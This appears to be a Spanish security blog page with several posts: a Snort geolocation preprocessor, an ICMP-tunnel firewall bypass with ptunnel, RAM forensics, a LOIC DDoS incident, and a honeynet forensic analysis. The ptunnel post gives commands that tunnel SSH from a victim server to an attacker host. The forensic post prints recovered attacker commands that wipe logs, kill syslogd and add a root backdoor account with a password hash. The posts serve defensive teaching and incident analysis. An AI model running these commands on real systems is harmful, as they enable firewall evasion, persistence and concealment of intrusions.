Preprocesador de SNORT para geolocalización

En la siguiente entrada vamos a tratar la herramienta de seguridad Snort, la cual es una aplicación de detección de intrusos a nivel de red (IDS). Su función es leer el tráfico de red, normalizarlo, catalogarlo y analizarlo mediante un motor de reglas en busca de una serie de patrones en el tráfico que identifiquen un posible ataque; por tanto se trata de un IDS basado en firmas. Así, dada una amenaza previamente conocida se crea una firma que permita la detección del tráfico malintencionado. Es por ello que la herramienta no dispone de la capacidad de detectar anomalías en el tráfico que permitan identificar vulnerabilidades no conocidas o malware dirigido.

Veamos lo expuesto con anterioridad en el siguiente ejemplo: se realiza una conexión saliente desde el equipo del gerente hacia China empleando el protocolo cifrado SSL a las tres de la madrugada. Es posible que este hecho requiera la intervención del equipo de gestión de incidentes, aunque implique inicialmente la actuación del primer nivel, para comprobar el motivo de esta conexión. ¿Pero cómo alertamos de esta conexión? Snort lo único que ve es una conexión desde un equipo a un servidor de Internet que emplea el protocolo SSL, es decir, una navegación web con protocolo HTTPS. Un IDS basado en reglas no entiende ni conoce los siguientes puntos:

  • Geolocalización: todas las IPs de Internet son iguales para él, no entiende de países.
  • Horarios: para él una conexión a las 12:00 es lo mismo que a las 3:00.
  • Patrones de conexión: desconoce el comportamiento de la red y por tanto no puede detectar anomalías.

Ante esta situación el equipo de seguridad analiza cómo poder añadir estas funcionalidades al motor de Snort, permitiendo detectar amenazas como las expuestas con anterioridad. Así, se decide crear una serie de preprocesadores dinámicos empleando para ello el lenguaje de programación C y la API proporcionada por Snort. Cierto es que nos encontramos con el escollo de que la documentación es escasa, por lo que hay que recurrir al estudio del código fuente de la herramienta para comprender el funcionamiento de estos.

Dentro de estos preprocesadores quiero mostrarles el funcionamiento del preprocesador de geolocalización, el cual permite marcar el país de procedencia y destino de los paquetes que son tratados por Snort, permitiendo aplicar ciertas reglas dependiendo del origen o destino del país mediante los tag “CountryS” para el origen y “CountryD” para el destino.

Veamos un ejemplo para entender el comportamiento de este preprocesador. Para ello crearemos dos reglas de Snort, donde la primera, con identificador “10000001”, generará alerta si detecta paquetes ICMP hacia Rusia (codificado como RUS) y la segunda regla, “10000002”, detectará paquetes ICMP que vengan de Rusia:

# cat /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"Destino de Rusia"; countryD: RUS; sid:10000001; rev:2;)
alert icmp any any -> any any (msg:"Origen de Rusia"; countryS: RUS; sid:10000002; rev:2;)
#

Como vemos, hemos indicado en la primera regla que genere alerta si el país destino es Rusia (countryD: RUS;) y en la segunda regla si el país origen es Rusia (countryS: RUS;). El siguiente paso consistirá en compilar nuestro preprocesador y tenerlo en el directorio de preprocesadores dinámicos indicados en el fichero de configuración de Snort:

# cd /usr/src/snort-2.9.0.1/src/dynamic-preprocessors/geolocalizacion/
# make clean
# make
# make install
# ls /usr/local/lib/snort_dynamicpreprocessor/ | grep geolocalizacion

lib_sfdynamic_geolocalizacion.a
lib_sfdynamic_geolocalizacion.la
lib_sfdynamic_geolocalizacion.so
lib_sfdynamic_geolocalizacion.so.0
lib_sfdynamic_geolocalizacion.so.0.0.0
#

A continuación se debe incluir el preprocesador en el fichero de configuración de Snort para que sea cargado por éste en su arranque; tengan en cuenta que el orden de los preprocesadores importa, por lo que se recomienda que esté después de “frag3”. En nuestro caso vamos a indicar que queremos que únicamente marque aquellos paquetes con origen o destino de Rusia, China, Iraq y Irán (con el tag ALL marcaría todos los paquetes):


preprocessor Geolocalizacion: country RUS CHN IRN IRQ

De esta forma ya podremos ejecutar Snort con su preprocesador:

# /usr/local/bin/snort -A console -u snort -g snort -c /etc/snort/snort.conf -i eth0
...
Configuración del preprocesador Geolocalizacion
Listado de paises: IRQ IRN CHN RUS
BBDD GeoIP cargada en memoria

...
+++++++++++++++++++++++++++++++++++++++++++++++++++
Initializing rule chains...
2 Snort rules read
2 detection rules
0 decoder rules
0 preprocessor rules
2 Option Chains linked into 1 Chain Headers
0 Dynamic rules
+++++++++++++++++++++++++++++++++++++++++++++++++++
...
--== Initialization Complete ==--

,,_ -*> Snort! < *-
o" )~ Version 2.9.0.1 IPv6 (Build 82)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/snort/snort-team
Copyright (C) 1998-2010 Sourcefire, Inc., et al.
Using libpcap version 1.1.1
Using PCRE version: 8.02 2010-03-19
Using ZLIB version: 1.2.3.4
Rules Engine: SF_SNORT_DETECTION_ENGINE Version 1.12 <Build 18>
Preprocessor Object: SF_SMTP (IPV6) Version 1.1 <Build 9>
Preprocessor Object: SF_FTPTELNET (IPV6) Version 1.2 <Build 13>
Preprocessor Object: SF_DNS (IPV6) Version 1.1 <Build 4>
Preprocessor Object: SF_SSLPP (IPV6) Version 1.1 <Build 4>
Preprocessor Object: SF_DCERPC2 (IPV6) Version 1.0 <Build 3>
Preprocessor Object: SF_SDF (IPV6) Version 1.1 <Build 1>
Preprocessor Object: Geolocalizacion Version 1.1 <Build 1>
Preprocessor Object: SF_SSH (IPV6) Version 1.1 <Build 13>
Commencing packet processing (pid=17271)
#

Para finalizar vamos a comprobar que el preprocesador funciona correctamente, y para ello emplearemos Scapy o Hping3 para el envío de paquetes ICMP con IP’s orígenes falsificadas de distintos países hasta que finalmente enviamos una trama con IP rusa (62.5.128.1), generando así la alerta del paquete ICMP procedente de Rusia y seguidamente en del paquete ICMP de respuesta:

04/29-19:33:22.973577 [**] [1:10000002:2] Origen de Rusia [**] [Priority: 0] {ICMP} 62.5.128.1 -> 10.10.0.8
04/29-19:33:22.973648 [**] [1:10000001:2] Destino de Rusia [**] [Priority: 0] {ICMP} 10.10.0.8 -> 62.5.128.1

Como vemos, con preprocesadores de estas características podemos aportar lógica a Snort para detectar patrones anómalos que permitan descubrir posible malware dirigido, fugas de información y 0 days, permitiendo de esta forma que Snort no sea un simple IDS basado en la detección de patrones. Esperamos que les haya parecido interesante la entrada.

Saltar filtrado de cortafuegos mediante paquetes ICMP

La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:


Diagrama1

Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.

Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.

Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.

Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:

# tar xvfz PingTunnel-0.70.tar.gz
# cd PingTunnel-0.70/
# apt-get install libpcap-dev
# make

Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.

En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.

El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.


Diagrama2

Las órdenes necesarias son:
Servidor del atacante:
# ./ptunnel -x patata

Servidor víctima red interna:
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata
# ssh localhost -p 80

Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:

CLiente1

Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:

Proxy1

Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:


# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata

Captura

Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP.

Análisis forense de memoria RAM en Linux

(N.d.E. Hemos tenido algunos problemillas esta mañana con el blog. Esperamos que todo haya vuelto ya a la normalidad)

Durante el inicio de un incidente, el grupo encargado de su gestión debe comprobar primeramente si el incidente ha ocurrido. En caso afirmativo el primer paso a realizar sobre él o los entornos afectados es el volcado de la memoria RAM, puesto que es la pieza más crítica al ser la parte más volátil, y por ello, la que más fácilmente puede ser alterada durante el incidente.

Para ello se suelen emplear tanto herramientas libres como privadas, principalmente winXXdd o memoryze para entornos Windows y Memdump para entornos Linux. Esa captura debe ser copiada a otro entorno y nunca en el sistema de ficheros del entorno afectado, para ello se puede emplear NetCat (nc) o Samba (CIFS).

Pero es el análisis posterior donde radica la dificultad. Debemos de ser capaces, de dado el fichero en crudo de la memoria RAM, poder obtener información importante como qué programas se estaban ejecutando, qué puertos escuchando, qué ficheros abiertos, qué usuarios conectados, qué rutas ARP, qué configuración de las interfaces de red, etc.

En caso de tratarse de entornos Windows existen varias herramientas como Memparser para Windows 2000, Volatility para Windows XP SP2 y 3, o la herramienta por excelencia que consiste en la combinación de la captura de la memoria mediante Mandiant Memoryze y su posterior análisis con Audit Viewer.

[Read more…]

Low Orbit Ion Cannon, bienvenidos a la jungla

Como todos ustedes sabrán, recientemente tuvimos que trabajar sobre un incidente de seguridad relacionado con un ataque por denegación de servicio distribuido o DDoS. Los atacantes emplearon distintas versiones de la herramienta Low Orbit Ion Cannon, LOIC en adelante, para intentar sobrecargar el tráfico de la web.

Lógicamente tanto en S2Grupo como en el centro de seguridad TIC de la Generalitat Valenciana (CSIRT-cv) preparamos un entorno que nos permitiera disminuir el ataque lo máximo posible para intentar que la web estuviera disponible para los ciudadanos, que al fin y al cabo, son los usuarios de la página web y a los que se les daña con este ataque. Para ello se realizo un estudio de las distintas versiones del LOIC, de su funcionamiento y de los posibles patrones de reconocimiento de los ataques con dos objetivos: frenar e identificar al atacante. Por motivos de seguridad no se suministrarán los patrones empleados.

Durante el estudio pudimos apreciar que existían principalmente tres plataformas: Windows (v1.1.1.23 y 24 principalmente), Linux (loiq-0.3a) y Web JS.

La primera sorpresa fue que dependiendo de las fuentes desde donde se descargara el programa para Windows, su suma SHA era diferente pese a que aparentemente el origen de la descarga indicaba que se trataba de la misma versión. ¿Raro, verdad? Señores, ¿que están ustedes instalando realmente en sus ordenadores?

La otra sorpresa fue al buscar distintos enlaces que tuvieran la versión Web programada mediante JavaScript. Dentro de los muchos enlaces que analizamos, incluidos el LOIC JS versión Sinde, me llamo la atención este (http://loic.megabyet.net/). En este caso, los autores de la web crearon un falso LOIC JS en el cual lo que realmente hacían era registrar desde qué IP, con qué navegador y a qué objetivo quería el atacante producir la DDoS. Por si hay dudas, no enviaba ningún paquete a la víctima.

Después del análisis preliminar obtuvimos varias conclusiones. La primera que algunos binarios del LOIC están modificados para que aparte del LOIC instalé algún tipo de software extra. Recordar que para instalar el LOIC se requiere deshabilitar el antivirus.

La segunda que las versiones Web en JS no son lo que parecen, sin ir más lejos, la versión mostrada con anterioridad era un honeypot. Otro día será un BeEF, MSF o cualquier otra variante.

La tercera, y última, que los ataques LOIC son identificables, y por tanto no son anónimos, por lo que recomendaciones como cambiarse la MAC (leído de algunos foros y canales de IRCs) muestra claramente el desconocimiento del funcionamiento de este tipo de herramientas. Sin ir más lejos, el CSIRT-cv dispone de cada IP que atacó la Web, la duración del ataque y la procedencia de esta.

Tengan cuidado con lo que hacen. El anonimato no es tan sencillo de conseguir. Low Orbit Ion Cannon, bienvenidos a la jungla

El antiguo reto de la honeynet (II)

Tras la entrada introductoria y preparatoria del otro día, hoy vamos a empezar con el reto. Lo primero que suelo hacer una vez obtenido los datos iniciales (vistos en la anterior entrada) es crearme una línea de tiempo a nivel de sistemas de ficheros y luego le sumo los datos obtenidos con la lógica que contiene el sistema de ficheros… Seguramente se estarán preguntando que es eso de la lógica que contiene el sistema de ficheros. Es lo que normalmente se denomina “artifacts“. Por ejemplo un fichero ejecutable cuyo dueño ya no existe en el sistema pero el fichero sigue existiendo, un usuario creado con permisos de administración, shellbags, históricos, logs, etc.

Comencemos obteniendo la línea de tiempos del sistema de ficheros. Para ello nos crearemos un directorio, volcaremos la línea de tiempo a un fichero con la herramienta “fls”, unificaremos los datos con un “cat” puesto que el reto presenta distintas imágenes, para finalizar traduciendo y ordenando con “mactime”. Es importante recordar que se nos indicó que la hora del sistema era GMT+6 y este dato deberá ser introducido a la herramienta mactime. Por ello debemos obtener el timezone correspondiente a GMT+6, por ejemplo de esta web. Con el timezone ya podemos ejecutar las ordenes necesarias para obtener la línea de tiempo:

# mkdir /reto/carving/timeline
# for i in `ls honeypot.hda*`; do fls -rp -m / $i > /reto/carving/timeline/$i; done
# cd /reto/carving/timeline
# cat * >> timeline
# mactime -z CST -b timeline >> lineaTiempo

Una vez obtenida, tenemos que estudiar el fichero lineaTiempo muy a fondo. Es importante recordar la fecha del incidente y buscar ficheros cuyos metadatos y datos hayan sido modificados. Pese a que el atacante haya usado herramientas como wipe, srm, touch para borrar sin rastro o cambiar la fecha, es muy complicado que modifique todos los ficheros y directorios a los que ha tenido acceso. Recordemos que el incidente fue a las 23:11 del 7 de noviembre de 2000.

Para analizar la línea de tiempo es necesario entender un poco que se muestra en el fichero lineaTiempo. Cada línea indica un fichero y están ordenadas por fecha, de más antiguas a menos. La línea tiene una serie de columnas que identifican de izquierda a derecha la fecha, el tamaño, MACB, permisos, UID, GID, número de inodo (importantísimo) y nombre del fichero.

Teniendo en cuenta que el ataque fue realizado el 7 de noviembre por la noche, tenemos que buscar modificaciones realizadas por esa fecha. Analizando la línea de tiempo vemos que el 8 de noviembre, unas horas después de detectar el exploit, se han hecho modificaciones algo sospechosas sobre algunos ficheros. Principalmente me llama la atención lo siguiente:

Wed Nov 08 2000 14:25:53 2836    .a.. r/rr-xr-xr-x 0 0 17088 /bin/uptime
Wed Nov 08 2000 14:26:15 0       m.c. r/rrw-r--r-- 0 0 26217 /etc/hosts.deny
Wed Nov 08 2000 14:26:51 1024    .a.. d/drwxr-xr-x 0 0 62497 /etc/rc.d/init.d
Wed Nov 08 2000 14:29:27 63728   .a.. r/rrwxr-xr-x 0 0 16125 /bin/ftp
Wed Nov 08 2000 14:33:42 1024    .a.. d/drwx------ 2 2 58465 /spool/at
Wed Nov 08 2000 14:45:18 161     .a.. r/rrw-r--r-- 0 0 26216 /etc/hosts.allow
                         0       .a.. r/rrw-r--r-- 0 0 26217 /etc/hosts.deny
                         31376   .a.. -/rrwxr-xr-x 0 0 93839 /$OrphanFiles/
                                                             OrphanFile-93839 (deleted)
Wed Nov 08 2000 14:45:19 63      .a.. r/rrw-r--r-- 0 0 26573 /etc/issue.net
Wed Nov 08 2000 14:45:24 1504    .a.. r/rrw-r--r-- 0 0 18147 /etc/security/console.perms
Wed Nov 08 2000 14:51:37 2129920 m... -/rrw-r--r-- 500 500 8133 /$OrphanFiles/
                                                                OrphanFile-8133 (deleted)
                         5324    .a.. r/rrwxr-xr-x 1010 100 109808 /man/.Ci/sp.pl
                         132785  .a.. r/rrwxr-xr-x 1010 100 109809 /man/.Ci/qs
                         350996  .a.. r/rrwxr-xr-x 1010 100 109812 /man/.Ci/syslogd

...

Wed Nov 08 2000 14:52:09 9        m.c. l/lrwxrwxrwx 0 0 23 /.bash_history -> /dev/null
                         9        m.c. l/lrwxrwxrwx 0 0 46636 /root/.bash_history -> 
						              /dev/null

(Y un ejército de ficheros huérfanos...)

¿Os acordáis de las tablas realizadas en la primera entrada? Si las consultamos obtenemos que m-c corresponde a la modificación del contenido del fichero. Si analizamos que ficheros han sido modificados obtenemos que “/etc/hosts.deny” y los history han sido modificados. Por un lado tenemos el típico enlace dinámico del bash_history al /dev/null para evitar que registre (¿porque no usar unset HISTFILE que canta menos? El atacante sabrá…), por otro lado tenemos que el hosts.deny ha sido modificado, con lo que probablemente se habrá eliminado alguna restricción de conexión con otros hosts (estaría bien tener acceso a las copias de seguridad previas al incidente para ver la configuración del fichero). También llama la atención el directorio “/man/.Ci”, apuntamos para repasar.

A su vez, vemos que existe un fichero huérfano (fichero eliminado cuyo padre también ha sido eliminado), que indica que el propietario es el usuario 500. Apuntamos; es importante revisar si el usuario existe en /etc/passwd. Por otro lado hay que destacar que el enlace dinámico a /dev/null ha sido realizado después de eliminar el fichero, por lo que es posible que obtengamos las órdenes ejecutadas en el bash_history a partir de los bloques libres (tras la eliminación, el bloque ha quedado asignado como libre, pero la información no ha sido eliminada).

Vamos a obtener los bloques, en crudo o raw, no asignados a ningún inodo, y por tanto, los bloques libres con el objetivo de buscar en ellos órdenes, firmas de malware u otro tipo de documentos. Para ello primeramente nos crearemos el directorio “/reto/carving/unallocated”, y estando en el directorio “/reto/dd” volcaremos los bloques sin asignar en el directorio unallocated:

# mkdir /reto/carving/unallocated
# for i in `ls honeypot.hda*`; do blkls -f ext2 $i > ../carving/unallocated/$i; done

Ahora ya tenemos los bloques libres, veamos a ver si encontramos alguna orden referente a los bash_history o host.deny. Para ello nos creamos un fichero en /reto/etc/ficheros que contenga ficheros que vamos a ir necesitando para el caso:

# echo "bash_history" > /reto/etc/ficheros
# echo "hosts.deny" >> /reto/etc/ficheros
# cd /reto/carving/unallocated
# srch_strings -a -td -5 * | grep -i -f /reto/etc/ficheros

  723938826 rm -rf /root/.bash_history
  723938853 ln -s /dev/null /root/.bash_history
  723938889 rm -rf /.bash_history
  723938911 ln -s /dev/null /.bash_history
  723938942 rm -rf ~games/.bash_history

...

  32494603 chmod a-w ~/.bash_history
  92321290 rm -rf /root/.bash_history
  92321317 ln -s /dev/null /root/.bash_history

...

  92321564 ln -s /dev/null /usr/games/.bash_history
  211349515 chmod a-w ~/.bash_history

...

  160623032 rm -rf /etc/hosts.deny
  160623055 touch /etc/hosts.deny
  212043412 @@contents /etc/hosts.deny 8

A partir de los resultados anteriores, vemos claramente la orden de eliminación del fichero hosts.deny, así como la creación con posterioridad. Lo mismo para los bash_history. Con lo anterior sacamos la conclusión de que a las 14:26:15 del miércoles 8 de noviembre el fichero hosts.deny fue modificado y a las Wed Nov 08 2000 14:52:09 se borraron las huellas del history. Se podría intentar sacar el contenido antiguo del fichero hosts.deny intentando pensar qué texto podría contener. Si pensamos detenidamente un tag típico sería el ALL por lo que con la orden

# srch_strings -a -td -3 * | grep "ALL:"

se podría obtener la línea del bloque donde se encuentra la información, pero en este caso, no da resultados. Ahora nos toca analizar más detenidamente la línea donde se ilustra la eliminación del fichero hosts.deny: “160623032 rm -rf /etc/hosts.deny”. Ese valor 160623032 identifica el byte donde la cadena fue encontrada. Como sabemos el tamaño del bloque es 1024 por tanto dividímos los 160623032 entre 1024 y nos quedamos con la parte entera, es decir, 156858. Ahora pensemos: estamos analizando los bloques libres de una imagen raw, por tanto necesitamos saber qué bloque real ocupa el bloque libre 156858 en la imagen completa, para ello usamos blkcalc:

# blkcalc /reto/dd/honeypot.hda8.dd -u 156858 
188701

Ahora ya sabemos que en el bloque de la imagen completa está la orden “rm -rf /etc/hosts.deny”. Veamos ahora el contenido del bloque, el cual debería corresponder con la parte del fichero “bash_history” que intentó ocultar el atacante:

# blkcat /reto/dd/honeypot.hda8.dd 188701

...

exit
uptime
rm -rf /etc/hosts.deny
touch /etc/hosts.deny
rm -rf /var/log/wtmp
touch /var/log/wtmp
killall -9 klogd
killall -9 syslogd
rm -rf /etc/rc.d/init.d/*log*
echo own:x:0:0::/root:/bin/bash >> /etc/passwd
echo adm1:x:5000:5000:Tech Admin:/tmp:/bin/bash >> /etc/passwd
echo own::10865:0:99999:7:-1:-1:134538460 >> /etc/shadow
echo adm1:Yi2yCGHo0wOwg:10884:0:99999:7:-1:-1:134538412 >> /etc/shadow
cat /etc/inetd.conf | grep tel
exit

Efectivamente, vemos que se trata del bash_history real, donde por un lado se ha hecho una purga de los logs y de los demonios que lo generan. Por otro lado se han creado dos usuarios, “own” y “adm1”. El primero con privilegios de root y el segundo con uid 5000. Con esto queda demostrado que el equipo ha sido comprometido.

El siguiente paso es comprobar que acciones adicionales han sido llevadas a cabo por el atacante y que utilidad estaba obteniendo éste del servidor. Para ello vamos a montar el entorno en forma de solo lectura y comenzar a comprobar las huellas obtenidas con anterioridad del sistema de ficheros:

  • ¿Initd sigue teniendo la puerta trasera?
  • Usuario 500, ¿quien es?
  • ¿Usuario own existe?
  • ¿Usuario adm1 (5000) existe?
  • ¿Que hay en el directorio /man/.Ci”

Para montar el sistema de ficheros he creado una script de forma que ejecutándolo monte o desmonte el sistema. Lo he creado en el directorio “/reto/dd” con nombre montar.sh y posteriormente le he asignado permisos de ejecución:

# touch /reto/dd/montar.sh
# chmod u+x /reto/dd/montar.sh
# vim /reto/dd/montar.sh

#!/bin/bash --
if [ "$1" == "1" ];
then
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda8.dd /reto/mnt/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda1.dd /reto/mnt/boot/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda6.dd /reto/mnt/home/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda5.dd /reto/mnt/usr/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda7.dd /reto/mnt/var/
else
 /bin/umount /reto/mnt/boot/
 /bin/umount /reto/mnt/usr/
 /bin/umount /reto/mnt/var/
 /bin/umount /reto/mnt/home/
 /bin/umount /reto/mnt/
fi

De esta forma, ejecutando “/reto/dd/montar.sh 1” monto el entorno y con “/reto/dd/montar.sh 0” lo desmonto. Así que ya sabéis, a montar el entorno toca:

# /reto/dd/montar.sh 1

Una vez montado comprobamos las consultas anteriores:

  • Las modificaciones en el servicio inetd durante el ataque no existe.
  • El usuario 500 es Drosen y existía antes del ataque.
  • El usuario own y adm1 no existen.
  • El directorio /man/.Ci existe:
    # find /reto/mnt/ -type d -name ".Ci"
    /reto/mnt/usr/man/.Ci

El siguiente paso consistirá en analizar el directorio “/reto/mnt/usr/man/.Ci” para revisar que hay dentro y ya les adelanto que nos encontramos una jungla:

# ls /reto/mnt/usr/man/.Ci
addn  backup  chmod-it  do  fix  killall  paki  q  rmS  snap  sniff.pid  syslogd
a.sh  addps  bx  clean  find  inetd  needz  pstree  qs  scan  snif  sp.pl  tcp.log

Empleemos con los ficheros anteriores la herramienta “file” que me permite clasificar los ficheros:

# file * | grep -v ELF | grep -v directory
a.sh: ASCII text
addps: POSIX shell script text executable
chmod-it: ASCII text
clean: ASCII text
do: ASCII text
needz: POSIX shell script text executable
rmS: POSIX shell script text executable
snap: POSIX shell script text executable
sniff.pid: ASCII text
sp.pl: a /usr/bin/perl script text executable
tcp.log: empty

Veamos que contienen los ficheros:

  • El fichero “a.sh” contiene la eliminación de binarios y parada de los servicios de esos binarios, todo apunta a que esto es el paso previo a la implantación de un RootKit a nivel de aplicación (porque como sea a nivel de núcleo difícil lo tenemos).
  • El fichero “addps” introduce en el fichero “/dev/ptyp” procesos, que según indica la propia documentación, son aquellos procesos que se quieren ocultar. Al mostrar el contenido del fichero vemos lo siguiente:
    ...
    2 snif
    2 pscan
    2 slice2
    2 snif
    2 pscan
    2 telnet
    2 x
    2 xscan
    2 ssh
    ...
  • El fichero “needz” muestra la dirección web de las herramientas pico y screen.
  • El fichero “rmS” elimina paquetes de software “ssh”, “wuftpd” y “nfs”.
  • El fichero “sp.pl” es un script en perl que levanta el sniffer “LinSniffer”, que escucha en una serie de puertos donde los password se transmiten en claro. Existe también un fichero Sniff.pid que contiene un número, que todo apunta a que se trata del PID del proceso, y por tanto, podemos creer que el sniffer llegó a ejecutarse…
  • El fichero “tcp.log” está vacío.
  • El fichero “do” contiene la eliminación de los usuarios “own” y “adm1” que encontramos al recuperar el bash_history real del usuario. Por tanto ya sabemos a ciencia cierta que el atacante creó dos usuarios, uno de ellos root, y que posteriormente los eliminó, por lo que todo indica que ha conseguido acceso a la máquina sin necesitar usuarios en el entorno.
  • El fichero “chmod” cambia permisos a varios binarios, volviéndolos igual o más restrictivos que los de serie en la distribución. Esto huele cada vez más a rootkit a nivel de aplicación.
  • El fichero “clean” ejecuta el fichero “snap” introduciéndole varias opciones. Ahora veremos que contiene “snap”.
  • El fichero “snap” es una shell en bash que dado una palabra quita todo rastro de esa palabra en los logs.

En cuanto a los directorios tenemos “backup”, “paki” y “scan”:

  • El directorio “backup” contiene los binarios de archivos importantes como ifconfig, ps o ls. He realizado una simple comprobación para ver si los binarios que están en backup son los mismos que los que tiene instalados el servidor, pero no, difieren:
    # md5sum backup/ls ../../../bin/ls
    5ec59b9c05706b4ce65adf44d0d3ab24 backup/ls
    06be0dbe8e41a0266eeeeeb1c1b4c818 ../../../bin/ls
  • El directorio “paki” contiene dos herramientas. La primera es el código del stream y la segunda es slice2 cuya finalidad es la denegación de servicio (DoS).
  • El directorio “scan” contiene un gran número de ficheros cuyo objetivo es escanear host de la red e intentar ejecutar exploits sobre la máquina y crear puertas traseras. Si analizamos el código del “amd” vemos que intenta explotar vulnerabilidades en el RPC. Curiosamente es la misma vulnerabilidad con que ha sido comprometido el servidor.

En definitiva se trata de un RootKit a nivel de aplicación que permite mantener el control de la máquina, sniffar el tráfico de esta, atacar otras máquinas, ocultar huellas, ocultar procesos, etc. Buscando un poco por internet por si fuera un RootKit conocido he encontrado esta entrada que detalla bastante bien el RootKit.

El último paso a llevar a cabo es comprobar cómo consigue el atacante conectar a la máquina. Acordaos que hemos visto ficheros que borraban los instaladores de varios servicios. A su vez un par de cuentas que luego fueron eliminadas. Algo raro, ¿verdad? Podría tratarse de una escalada de privilegios mediante ficheros suid, pero para ello necesitaría un usuario no privilegiado en el sistema, pero también lo ha borrado. Lo más recomendado es volver a la línea de tiempo por si pudiera proporcionarlos un poco más de información.

Si analizamos detenidamente la fecha de implantación del RootKit veremos las siguientes entradas:

Wed Nov 08 2000 14:53:12 343586 mac. r/rrwxr-xr-x 0 0 110004 /local/bin/ssh-agent1
                         10     mac. l/lrwxrwxrwx 0 0 110005 /local/bin/ssh-agent -> 
                                                             ssh-agent1
                         337617 mac. r/rrwxr-xr-x 0 0 110006 /local/bin/ssh-add1
                         8      mac. l/lrwxrwxrwx 0 0 110007 /local/bin/ssh-add -> ssh-add1
                         90424  mac. r/rrwxr-xr-x 0 0 110008 /local/bin/scp1
                         4      mac. l/lrwxrwxrwx 0 0 110009 /local/bin/scp -> scp1
                         21228  mac. r/rrwxr-xr-x 0 0 110010 /local/bin/
                                                             make-ssh-known-hosts1
                         21     mac. l/lrwxrwxrwx 0 0 110011 /local/bin/
                                                             make-ssh-known-hosts ->
                                                             make-ssh-known-hosts1
                         643674 m.c. r/rrwxr-xr-x 0 0 33115 /local/sbin/sshd1
                         5      m.c. l/lrwxrwxrwx 0 0 33116 /local/sbin/sshd -> sshd1

Ya con esto nos sobra para despejar dudas. Es lógico que si el atacante requiere un servicio que no está disponible en el sistema lo instale, pero que existiendo el servicio instale uno nuevo y adicionalmente añada al nombre del servicio un 1 y que los binarios del servicio original sean ahora simples enlaces dinámicos al servicio añadido por el atacante, nos indica una cosa: el servidor sobreescrito está modificado para permitir la autenticación directa del atacante sin pasar por los métodos tradicionales.

Accedamos al directorio “/reto/mnt/usr/local/bin” y analicemos los ficheros modificados por el atacante. Lo que primero nos llama la atención es el SUID del fichero ssh1. Pero más que eso nos interesa ver el servicio que se arranca el SSH (“sshd1”) que se encuentra en el “/reto/mnt/usr/local/sbin”. Una forma sencilla de poder analizar el binario sshd1 es usar de nuevo un srch_strings, aunque lógicamente lo mejor sería usar el gdb, pero esto requeriría varias entradas en el blog dedicadas únicamente al gdb. Bien veamos qué strings nos muestra esto:

# srch_strings -a -td sshd1
...
146880 d33e8f1a6397c6d2efd9a2aae748eb02
...
148316 /usr/tmp/nap
148352 +-[ User Login ]-------------------- --- --- - -
148416 | username: %s password: %s hostname: %s
148480 +----------------------------------- ----- --- -- -- -
...
543582 md5.h
...
550891 md5passwd:(0,30)=ar(0,1);0;32;(0,2)
550927 md:(126,2)
550938 md5buffer:(0,31)=ar(0,1);0;31;(0,11)
...

